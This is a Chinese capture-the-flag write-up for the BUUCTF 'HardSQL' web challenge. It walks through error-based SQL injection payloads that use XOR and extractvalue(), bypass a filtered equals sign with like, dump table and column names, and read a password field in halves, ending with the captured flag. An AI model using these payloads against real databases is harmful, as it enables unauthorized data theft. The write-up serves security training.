zoukankan      html  css  js  c++  java
  • Buuctf-web-[极客大挑战 2019]HardSQL

     被堵

    异或运算符为^ 或者 xor
    两个同为真的条件做异或,结果为假,两个同为假的条件做异或,结果为假,一个条件为真,一个条件为假,结果为真,null与任何条件(真、假、null)做异或,结果都为null

    我们还需要用到一个函数:extractvalue()

    对XML文档进行查询的函数

    还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

    然后,我们开始注入

    第一个payload:

    ?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(database()))))%23

     库名出来了,接着爆表

    发现等于号被过滤,可以用like代替

    ?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

     接着爆字段

    ?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

    因为用extractvalue()函数,一次只能显示32个字符,我们需要用 left right函数

    ?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))%23

    ?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))%23

    flag{68e2d23a-f3b9-46b5-8298-d0470eca0517}

  • 相关阅读:
    java课后作业-4
    课堂练习
    16年9月27日上午
    《大道至简》第二章读后感
    《大道至简》-编程的精义读后感
    用Windbg来看看CLR的JIT是什么时候发生的
    如何调试什么时候SaveFileDialog会被Dispose
    针对C#程序做性能测试的一些基本准则
    要注意null合并运算符的优先级比+还要低
    实现GetHashCode时要遵循的规则
  • 原文地址:https://www.cnblogs.com/tac2664/p/14306842.html
Copyright © 2011-2022 走看看